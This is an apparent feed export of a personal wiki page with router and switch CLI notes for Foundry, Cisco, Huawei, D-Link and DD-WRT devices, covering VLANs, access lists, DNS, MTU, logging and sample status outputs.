show ip interface&lt;br /&gt;
Interface       IP-Address      OK?  Method    Status                 Protocol&lt;br /&gt;
Ve 10           1.5.4.1  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 100          1.2.1.33   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 101          1.2.1.129  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 102          1.2.1.193  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 103          1.2.1.225  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 104          1.2.1.241  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 105          1.2.1.249  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 106          1.2.1.17   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 111          1.2.1.65   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 112          1.2.1.81   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 113          1.2.1.97   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 200          1.2.3.4  YES  NVRAM     up                     up     &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== add VLAN ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
vlan 123 name v-users by port&lt;br /&gt;
tagged ethe 2 to 4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VLAN detail ===&lt;br /&gt;
* show vlans&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Total PORT-VLAN entries: 19&lt;br /&gt;
Maximum PORT-VLAN entries: 4095&lt;br /&gt;
PORT-VLAN 1, Name DEFAULT-VLAN, Priority level0, Spanning tree Off&lt;br /&gt;
 Untagged Ports:   2   3   4  19  20 &lt;br /&gt;
   Tagged Ports: None&lt;br /&gt;
   Uplink Ports: None&lt;br /&gt;
 DualMode Ports: None&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== virtual ethernet configuration ===&lt;br /&gt;
* is the ip configuration of the vlan subnet&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
&lt;br /&gt;
interface ve 300&lt;br /&gt;
 port-name v-secondary&lt;br /&gt;
 ip access-group 300 in&lt;br /&gt;
 ip address 1.2.1.1 255.255.255.240&lt;br /&gt;
!&lt;br /&gt;
interface ve 100&lt;br /&gt;
 port-name v-primary&lt;br /&gt;
 ip address 1.2.3.1 255.255.252.0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== access list per IP ===&lt;br /&gt;
* access list used by virtual ethernet&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
&lt;br /&gt;
access-list 10 permit 1.2.3.0 0.0.3.255&lt;br /&gt;
access-list 10 permit 1.2.1.0 0.0.0.255&lt;br /&gt;
access-list 10 deny any log&lt;br /&gt;
&lt;br /&gt;
access-list 300 deny ip any 1.2.3.0 0.0.3.255 log&lt;br /&gt;
access-list 300 deny ip any 1.2.1.0 0.0.0.255 log&lt;br /&gt;
access-list 300 permit ip any any&lt;br /&gt;
&lt;br /&gt;
access-list 103 permit ip any 1.2.5.0 0.0.0.255&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== set DNS === &lt;br /&gt;
* add 3 DNS servers:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=python &amp;gt;&lt;br /&gt;
ip dns server-address 1.2.3.4 10.11.12.13 101.102.103.104&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* del 1 DNS server:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=python &amp;gt;&lt;br /&gt;
no ip dns server-address 10.11.12.13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH management config ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
 ip ssh  key-authentication no&lt;br /&gt;
 ip ssh  source-interface ve 200&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== add port to VLAN ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
&lt;br /&gt;
* add tagged port:&lt;br /&gt;
 # vlan 4&lt;br /&gt;
 (vlan-4)# tag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
* add untagged port&lt;br /&gt;
 (vlan-4)# untag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== remove port from VLAN ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
* remove un-tagged port:&lt;br /&gt;
 #vlan 4&lt;br /&gt;
 (vlan-4)# no untag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
* tagged port&lt;br /&gt;
 (vlan-4)# no tag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== change temperature warning level ===&lt;br /&gt;
&lt;br /&gt;
* temperature at when the device will give warning&lt;br /&gt;
 # temperature warning 47&lt;br /&gt;
* temperature at when the device will shut down&lt;br /&gt;
 # temperature shutdown 57&lt;br /&gt;
* change the polling time interval&lt;br /&gt;
 # chassis poll-time 200&lt;br /&gt;
&lt;br /&gt;
=== change logging size ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
#config te&lt;br /&gt;
BR-SSH@coresw1(config)#logging buffered 300&lt;br /&gt;
Reload required.  Please write memory and then reload or power cycle.&lt;br /&gt;
BR-SSH@coresw1(config)#write memory&lt;br /&gt;
Write startup-config done.&lt;br /&gt;
BR-SSH@coresw1(config)#end&lt;br /&gt;
BR-SSH@coresw1#reload&lt;br /&gt;
Are you sure? (enter 'y' or 'n'): y&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Router-language&amp;diff=6402</id>
		<title>Router-language</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Router-language&amp;diff=6402"/>
		<updated>2022-06-21T09:05:22Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: /* change Interface MTU */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Cisco ==&lt;br /&gt;
&lt;br /&gt;
* http://www.cisco.com/en/US/docs/internetworking/troubleshooting/guide/tr1904.html&lt;br /&gt;
&lt;br /&gt;
*; Save config&lt;br /&gt;
 # write memory&lt;br /&gt;
&lt;br /&gt;
=== VLAN ===&lt;br /&gt;
*; New VLAN&lt;br /&gt;
 Switch# configure terminal&lt;br /&gt;
 Switch(config)# vlan 20&lt;br /&gt;
 Switch(config-vlan)# name test20&lt;br /&gt;
 Switch(config-vlan)# end &lt;br /&gt;
&lt;br /&gt;
 Switch(config)# no vlan vlan-id&lt;br /&gt;
*: Port-VLAN&lt;br /&gt;
 Switch# configure terminal&lt;br /&gt;
 Switch(config)# interface gigabitethernet 1/0/1&lt;br /&gt;
 Switch(config-if)# switchport mode access&lt;br /&gt;
 Switch(config-if)# switchport access vlan 2&lt;br /&gt;
 Switch(config-if)# end &lt;br /&gt;
&lt;br /&gt;
*; IEEE 802.1Q trunking &lt;br /&gt;
 Switch# configure terminal&lt;br /&gt;
 Switch(config)# interface gigabitethernet 1/0/1&lt;br /&gt;
 Switch(config-if)# switchport mode dynamic desirable&lt;br /&gt;
 Switch(config-if)# end &lt;br /&gt;
&lt;br /&gt;
*; remove VLAN 2 from the allowed VLAN list on a port:&lt;br /&gt;
 Switch(config)# interface gigabitethernet 1/0/1&lt;br /&gt;
 Switch(config-if)# switchport trunk allowed vlan remove 2&lt;br /&gt;
 Switch(config-if)# end&lt;br /&gt;
&lt;br /&gt;
== DD-WRT ==&lt;br /&gt;
&lt;br /&gt;
* show all variables named/containing THISSSS&lt;br /&gt;
 nvram show|grep THISSSS&lt;br /&gt;
&lt;br /&gt;
* unset all variables named/containing THISSSS&lt;br /&gt;
 for a in $(nvram show|grep THISSSS|grep -v size);do nvram unset $(echo $a|cut -d&amp;quot;=&amp;quot; -f1);done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 vlan4ports=0 5*&lt;br /&gt;
 vlan4_ipaddr=0.0.0.0&lt;br /&gt;
 vlan4hwname=et0&lt;br /&gt;
 port2vlans=4&lt;br /&gt;
&lt;br /&gt;
== Huawei ==&lt;br /&gt;
;(AR502CG-L)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
More details in [[Huawei AR500]]&lt;br /&gt;
*https://support.huawei.com/enterprise/en/doc/EDOC1000097293/10a4569b/cellular-interface-configuration-commands&lt;br /&gt;
*https://support.huawei.com/enterprise/en/doc/EDOC1000177810/29a820da/nat-configuration-commands&lt;br /&gt;
&lt;br /&gt;
* Access CLI&lt;br /&gt;
** from the web interface, create a telnet enabled user and enable telnet service.&lt;br /&gt;
&lt;br /&gt;
 telnet 192.168.x.x &lt;br /&gt;
 ...&lt;br /&gt;
 system-view&lt;br /&gt;
&lt;br /&gt;
=== Cellular WAN connection information ===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;Huawei&amp;gt;display cellular 0/0/0 all&lt;br /&gt;
Modem State:&lt;br /&gt;
Hardware Information.&lt;br /&gt;
=====================&lt;br /&gt;
Model = ME909s-120&lt;br /&gt;
Modem Type = LTE module&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Display APN profiles&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;Huawei&amp;gt;display apn-profile configuration&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Display IP interface WAN&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
display interface cellular 0/0/0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 display ip interface brief&lt;br /&gt;
&lt;br /&gt;
 display ip routing-table&lt;br /&gt;
&lt;br /&gt;
* reset counters&lt;br /&gt;
 reset counters interface cellular 0/0/0&lt;br /&gt;
&lt;br /&gt;
=== del vlan ===&lt;br /&gt;
[RouterBackup]undo interface Vlanif 6  &lt;br /&gt;
[RouterBackup]undo Vlan 6&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== change Interface MTU ===&lt;br /&gt;
 &amp;lt;Huawei&amp;gt; system-view&lt;br /&gt;
 [Huawei] interface cellular 0/0/0 &lt;br /&gt;
 [Huawei-Cellular0/0/0] mtu 1200&lt;br /&gt;
 [Huawei-Cellular0/0/0] restart&lt;br /&gt;
&lt;br /&gt;
=== Save running config ===&lt;br /&gt;
 [Router] save&lt;br /&gt;
&lt;br /&gt;
=== SMS ===&lt;br /&gt;
&lt;br /&gt;
* List SMS&lt;br /&gt;
 display sms interface cellular 0/0/0 brief&lt;br /&gt;
&lt;br /&gt;
* SMS stats&lt;br /&gt;
 display sms interface cellular 0/0/0 statistics&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== NAT tutorial ===&lt;br /&gt;
https://support.huawei.com/enterprise/en/doc/EDOC1000177799/c5cb4df6/example-for-configuring-an-lte-cellular-interface-as-the-primary-interface-to-connect-to-the-internet&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLink ==&lt;br /&gt;
&lt;br /&gt;
xStack DGS-3200 Series Layer 2 Gigabit Managed Switch CLI Manual&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
VLAN Command List&lt;br /&gt;
create vlan &amp;lt;vlan_name 32 &amp;gt; tag &amp;lt;vlanid 2-4094&amp;gt; { type [1q_vlan advertisement | private_vlan] }&lt;br /&gt;
create vlan vlanid &amp;lt;vidlist&amp;gt; { type [1q_vlan | private_vlan] { advertisement } }&lt;br /&gt;
delete vlan &amp;lt;vlan_name&amp;gt;&lt;br /&gt;
delete vlan vlanid &amp;lt;vlanid_list&amp;gt;&lt;br /&gt;
config vlan &amp;lt; vlan_name &amp;gt; { [ add [ tagged | untagged | forbidden ] | delete ] &amp;lt;portlist&amp;gt; |&lt;br /&gt;
advertisement [ enable | disable ] }&lt;br /&gt;
config vlan vlanid &amp;lt;vidlist&amp;gt; { [ add [ tagged | untagged | forbidden ] | delete ] &amp;lt;portlist&amp;gt; |&lt;br /&gt;
advertisement [ enable | disable ]| name &amp;lt;vlan_name&amp;gt;}&lt;br /&gt;
config vlan &amp;lt;vlan_name&lt;br /&gt;
&amp;gt; delete &amp;lt;portlist&amp;gt;&lt;br /&gt;
config vlan vlanid &amp;lt;vlanid_&lt;br /&gt;
list&amp;gt; delete &amp;lt;portlist&amp;gt;&lt;br /&gt;
config gvrp [&amp;lt;portlist&amp;gt; | all] {state [enable | disable] | ingress_checking [enable | disable]&lt;br /&gt;
|acceptable_frame[tagged_only | admit_all] pvid&amp;lt;vlanid 1-4094&amp;gt; }&lt;br /&gt;
enable gvrp&lt;br /&gt;
disable gvrp&lt;br /&gt;
show vlan { &amp;lt;vlan_name 32&amp;gt; | vlanid&lt;br /&gt;
&amp;lt;vlanid_list&amp;gt; | ports &amp;lt;portlist&amp;gt;}&lt;br /&gt;
show gvrp {&amp;lt;portlist&amp;gt;}&lt;br /&gt;
enable pvid auto_assign&lt;br /&gt;
disable pvid auto_assign&lt;br /&gt;
show pvid auto_assign&lt;br /&gt;
config private_vlan [&amp;lt;vlan_name 32&amp;gt; | vid &amp;lt;vlanid 1-4094&amp;gt;] [add [isolated | community] | remove]&lt;br /&gt;
[&amp;lt;vlan_name 32&amp;gt; | vlanid &amp;lt;vidlist&amp;gt;]&lt;br /&gt;
show private_vlan { [vlan_name 32&amp;gt; | vlanid &amp;lt;vidlist&amp;gt;] } &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Foundry ==&lt;br /&gt;
&lt;br /&gt;
=== show ===&lt;br /&gt;
  802-1w                 Rapid Spanning tree IEEE 802.1w D10 status&lt;br /&gt;
  aaa                    Show TACACS+ and RADIUS server statistics&lt;br /&gt;
  access-list            Show access list hit statistics&lt;br /&gt;
  acl-on-arp             Show ARP ACL filtering&lt;br /&gt;
  arp                    Arp table&lt;br /&gt;
  auth-mac-addresses     MAC Authentication status&lt;br /&gt;
  batch                  Batch commands&lt;br /&gt;
  cable-diagnostics      Show Cable Diagnostics&lt;br /&gt;
  chassis                Power supply/fan/temperature&lt;br /&gt;
  clock                  System time and date&lt;br /&gt;
  configuration          Configuration data in startup config file&lt;br /&gt;
  debug                  Debug information&lt;br /&gt;
  default                System default settings&lt;br /&gt;
  dot1x                  dot1x  information&lt;br /&gt;
  errdisable             Errdisable status&lt;br /&gt;
  fdp                    CDP/FDP information&lt;br /&gt;
  flash                  Flash memory contents&lt;br /&gt;
  interfaces             Port status&lt;br /&gt;
  ip                     IP address setting&lt;br /&gt;
  ipv6                   IP setting&lt;br /&gt;
  link-aggregate         802.3ad Link Aggregation Information&lt;br /&gt;
  link-error-disable     Link Debouncing Control&lt;br /&gt;
  link-keepalive         Link Layer Keepalive&lt;br /&gt;
  logging                System log                               &lt;br /&gt;
  mac-address            MAC address table&lt;br /&gt;
  media                  Gig port SX/LX/LHA/LHB&lt;br /&gt;
  memory                 System memory usage&lt;br /&gt;
  metro-ring             metro ring protocol information&lt;br /&gt;
  mirror                 Mirror ports&lt;br /&gt;
  monitor                Monitor ports&lt;br /&gt;
  mstp                   show MSTP (IEEE 802.1s) information&lt;br /&gt;
  port                   Show port security&lt;br /&gt;
  priority-mapping       802.1Q tagged priority setting&lt;br /&gt;
  processes              Active process statistics&lt;br /&gt;
  protected-link-group   Show Protected Link Group Details&lt;br /&gt;
  ptrace                 Global ptrace information&lt;br /&gt;
  qos-profiles           QOS configuration&lt;br /&gt;
  qos-tos                IPv4 ToS based QoS&lt;br /&gt;
  radius                 show radius server debug info&lt;br /&gt;
  rate-limit             Rate-limiting table and actions&lt;br /&gt;
  redundancy             Display management redundancy details&lt;br /&gt;
  relative-utilization   Relative utilization list&lt;br /&gt;
  reload                 Scheduled system reset&lt;br /&gt;
  rmon                   Rmon status&lt;br /&gt;
  running-config         Current running-config&lt;br /&gt;
  sflow                  sflow information&lt;br /&gt;
  snmp                   SNMP statistics                          &lt;br /&gt;
  sntp                   Show SNTP&lt;br /&gt;
  span                   Spanning tree status&lt;br /&gt;
  statistics             Packet statistics&lt;br /&gt;
  stp-bpdu-guard         Show stp bpdu guard status&lt;br /&gt;
  stp-group              Spanning Tree Group Membership&lt;br /&gt;
  stp-protect-ports      Show stp-protect enabled ports and their BPDU drop&lt;br /&gt;
                         counters&lt;br /&gt;
  tech-support           System snap shot for tech support&lt;br /&gt;
  telnet                 Telnet connection&lt;br /&gt;
  topology-group         Topology Group Membership&lt;br /&gt;
  traffic-policy         Show traffic policy definition&lt;br /&gt;
  transmit-counter       Transmit Queue Counters&lt;br /&gt;
  trunk                  Show trunk status&lt;br /&gt;
  users                  User accounts&lt;br /&gt;
  version                System status&lt;br /&gt;
  vlan                   VLAN status&lt;br /&gt;
  vlan-group             VLAN Group Membership&lt;br /&gt;
  voice-vlan             Show voice vlan&lt;br /&gt;
  vsrp                   Show VSRP commands&lt;br /&gt;
  web-connection         Current web connections&lt;br /&gt;
  who                    User login&lt;br /&gt;
  |                      Output modifiers&lt;br /&gt;
  &amp;lt;cr&amp;gt;      &lt;br /&gt;
&lt;br /&gt;
=== enable ===&lt;br /&gt;
* when logged in, the &amp;quot;enable&amp;quot; command give you the administration rights&lt;br /&gt;
* in this status we can monitor e check configuration.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
$ enable&lt;br /&gt;
password...&lt;br /&gt;
# _&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* entering in &amp;quot;edit configuration&amp;quot; mode, you can edit the configuration, '''live!''' be very careful&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
config [te]&lt;br /&gt;
password...&lt;br /&gt;
(config)#&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* after making changes, you can check them with this command (because &amp;quot;show config&amp;quot; will give you the configuration saved in memory, not the running one that you just modified.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
(config)# show running-config&lt;br /&gt;
[...]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* after all your checks, this is the command to save the changes permanently.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
(config)# write memory&lt;br /&gt;
# &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* an option to backup the configuration is to copy it by TFTP to a server.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
#copy running-config tftp 1.2.3.123 router-config-20122112.txt&lt;br /&gt;
 #Upload running-config to TFTP server done.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== show cpu ===&lt;br /&gt;
show cpu&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
31 percent busy, from 3248 sec ago 1	sec avg: &lt;br /&gt;
31 percent busy 5	sec avg: &lt;br /&gt;
31 percent busy 60 sec avg: &lt;br /&gt;
31 percent busy&lt;br /&gt;
&lt;br /&gt;
300 sec avg: 31 percent busy   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* cpu/process utilizaiton&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
# show process cpu&lt;br /&gt;
Process Name&lt;br /&gt;
ACL&lt;br /&gt;
ARP BGP DOT1X GVRP ICMP IP L2VLAN OSPF RIP STP VRRP&lt;br /&gt;
5Sec(%)	1Min(%)&lt;br /&gt;
0.00	0.00&lt;br /&gt;
0.01	0.01 0.00	0.00 0.00	0.00 0.00	0.00 0.00	0.00 0.00	0.00 0.01	0.00 0.00	0.00 0.00	0.00 0.00	0.00 0.00	0.00&lt;br /&gt;
5Min(%)	15Min(%)&lt;br /&gt;
Runtime(ms)&lt;br /&gt;
0.00	0.00	0&lt;br /&gt;
0.01	0.01	714 0.00	0.00	0 0.00	0.00	0 0.00	0.00	0 0.00	0.00	161 0.00	0.00	229 0.00	0.01	673 0.00	0.00	0 0.00	0.00	9 0.00	0.00	7 0.00	0.00	0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== port status short ===&lt;br /&gt;
* show interface brief&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Port  Link    State     Dupl Speed Trunk Tag Priori MAC            Name        &lt;br /&gt;
1     Up      Forward   Full 1G    None  No  level0 0012.f286....              &lt;br /&gt;
2     Disable None      None None  None  No  level0 0012.f286....                &lt;br /&gt;
&lt;br /&gt;
Port  Link    State     Dupl Speed Trunk Tag Priori MAC            Name        &lt;br /&gt;
ve10  Up      N/A       N/A  N/A   None  N/A N/A    0012.f286....     &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== ip traffic ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
#show ip traffic &lt;br /&gt;
IP Statistics&lt;br /&gt;
  249333533 received, 92410 sent, 248630753 forwarded&lt;br /&gt;
  0 filtered, 0 fragmented, 0 reassembled, 4480 bad header&lt;br /&gt;
  495 no route, 0 unknown proto, 0 no buffer, 43582 other errors&lt;br /&gt;
&lt;br /&gt;
ARP Statistics&lt;br /&gt;
  151530 total recv, 149155 req recv, 214351 req sent, 67830 rep sent&lt;br /&gt;
  0 pending drop, 0 invalid source, 0 invalid dest&lt;br /&gt;
&lt;br /&gt;
ICMP Statistics&lt;br /&gt;
Received:&lt;br /&gt;
  13364 total, 25 errors, 103 unreachable, 25 time exceed&lt;br /&gt;
  0 parameter, 0 source quench, 0 redirect, 13202 echo, &lt;br /&gt;
  9 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask&lt;br /&gt;
  0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation&lt;br /&gt;
Sent:&lt;br /&gt;
  55536 total, 0 errors, 38105 unreachable, 4205 time exceed&lt;br /&gt;
  24 parameter, 0 source quench, 0 redirect, 0 echo, &lt;br /&gt;
  13202 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask&lt;br /&gt;
  0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation&lt;br /&gt;
&lt;br /&gt;
UDP Statistics&lt;br /&gt;
  173951 received, 15129 sent, 119850 no port, 0 input errors&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== MAC address table ===&lt;br /&gt;
 show mac-address&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Total active entries from all ports = 69&lt;br /&gt;
MAC-Address     Port         Type       Index      VLAN &lt;br /&gt;
0800.270c.ce47  5            Dynamic    30         113  &lt;br /&gt;
0011.7800.9a44  8            Dynamic    14232      200  &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== ethernet data flow statistics ===&lt;br /&gt;
* show rmon statistics&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Ethernet statistics 1 is active, owned by monitor&lt;br /&gt;
 Interface 1 (ifIndex 1) counters&lt;br /&gt;
           Octets          62219423556&lt;br /&gt;
      Drop events                    0             Packets             74215428&lt;br /&gt;
   Broadcast pkts                  613      Multicast pkts                83808&lt;br /&gt;
 CRC align errors                    0      Undersize pkts                    0&lt;br /&gt;
    Oversize pkts                    0           Fragments                    0&lt;br /&gt;
          Jabbers                    0          Collisions                    0&lt;br /&gt;
&lt;br /&gt;
 Packet size counters&lt;br /&gt;
               64              8199939           65 to 127             21283872&lt;br /&gt;
       128 to 255              2667477          256 to 511              1406813&lt;br /&gt;
      512 to 1023              2001555        1024 to 1518             38655772&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== physical media installed in port ===&lt;br /&gt;
* show media&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
1:M-SX 2:   3:   4:   5: C 6: C 7: C 8: C 9: C 10: C 11: C 12: C 13: C 14: C 15: C 16: C 17: C 18: C 19: C 20: C 21: C 22: C 23: C 24: C &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* C1550 – CWDM transceiver with 1550 nm wavelength &lt;br /&gt;
* EFM-U – 1000Base-BX10-U fiber (uplink) transceiver &lt;br /&gt;
* EFM-D – 1000Base-BX10-D fiber (downlink) transceiver&lt;br /&gt;
* M-FX – 100BaseFX fiber mini-GBIC &lt;br /&gt;
* M-FXB1 or M-FXB2 – 100BaseFX fiber mini-GBIC  &lt;br /&gt;
* M-LX – 1000BaseLX fiber mini-GBIC &lt;br /&gt;
* M-SX – 1000BaseSX fiber mini-GBIC &lt;br /&gt;
* M-TX – 1000BaseTX copper mini-GBIC &lt;br /&gt;
* M-XR – 1000BaseSX 2 fiber mini-GBIC &lt;br /&gt;
* FXB1 or FXB2 – 1000BaseBX fiber mini-GBIC &lt;br /&gt;
* M-LHA 1000BaseLHA fiber mini-GBIC&lt;br /&gt;
&lt;br /&gt;
=== interface speed ===&lt;br /&gt;
&lt;br /&gt;
 Router(config)# interface e 8 &lt;br /&gt;
 Router(config-if-e1000-8)# speed-duplex 10-full&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== ethernet details ===&lt;br /&gt;
* show interface ethernet 1&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
GigabitEthernet1 is up, line protocol is up &lt;br /&gt;
  Hardware is GigabitEthernet, address is 0012.f286.7e40 (bia 0012.f286.7e40)&lt;br /&gt;
  Configured speed auto, actual 1Gbit, configured duplex fdx, actual fdx&lt;br /&gt;
  Configured mdi mode AUTO, actual MDI&lt;br /&gt;
  Member of L2 VLAN ID 10, port is untagged, port state is FORWARDING&lt;br /&gt;
  BPDU guard is Disabled, ROOT protect is Disabled&lt;br /&gt;
  Link Error Dampening is Disabled&lt;br /&gt;
  STP configured to ON, priority is level0&lt;br /&gt;
  Flow Control is config enabled, oper enabled, negotiation disabled&lt;br /&gt;
  mirror disabled, monitor disabled&lt;br /&gt;
  Not member of any active trunks&lt;br /&gt;
  Not member of any configured trunks&lt;br /&gt;
  No port name&lt;br /&gt;
  IPG MII 96 bits-time, IPG GMII 96 bits-time&lt;br /&gt;
  IP MTU 1500 bytes, encapsulation ethernet&lt;br /&gt;
  300 second input rate: 262016 bits/sec, 119 packets/sec, 0.02% utilization&lt;br /&gt;
  300 second output rate: 1558744 bits/sec, 178 packets/sec, 0.15% utilization&lt;br /&gt;
  35819040 packets input, 31760156880 bytes, 0 no buffer&lt;br /&gt;
  Received 559 broadcasts, 83280 multicasts, 35735201 unicasts&lt;br /&gt;
  0 input errors, 0 CRC, 0 frame, 0 ignored&lt;br /&gt;
  0 runts, 0 giants&lt;br /&gt;
  38293277 packets output, 30371035971 bytes, 0 underruns&lt;br /&gt;
  Transmitted 53 broadcasts, 0 multicasts, 38293224 unicasts&lt;br /&gt;
  0 output errors, 0 collisions&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ip routes ===&lt;br /&gt;
 show ip&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Global Settings&lt;br /&gt;
  ttl: 64, arp-age: 10, bootp-relay-max-hops: 4&lt;br /&gt;
  router-id : 0.0.0.0&lt;br /&gt;
  enabled : UDP-Broadcast-Forwarding  Source-Route  Load-Sharing  RARP  &lt;br /&gt;
  disabled: Route-Only  Directed-Broadcast-Forwarding  IRDP  Proxy-ARP  RIP  DVMRP  VRRP  VRRP-Extended  &lt;br /&gt;
Static Routes&lt;br /&gt;
  Index   IP Address        Subnet Mask       Next Hop Router   Metric Distance&lt;br /&gt;
  1       0.0.0.0           0.0.0.0           145.145.24.140    1      1 0&lt;br /&gt;
  2       192.168.251.0     255.255.255.0     192.168.252.1     1      1 0&lt;br /&gt;
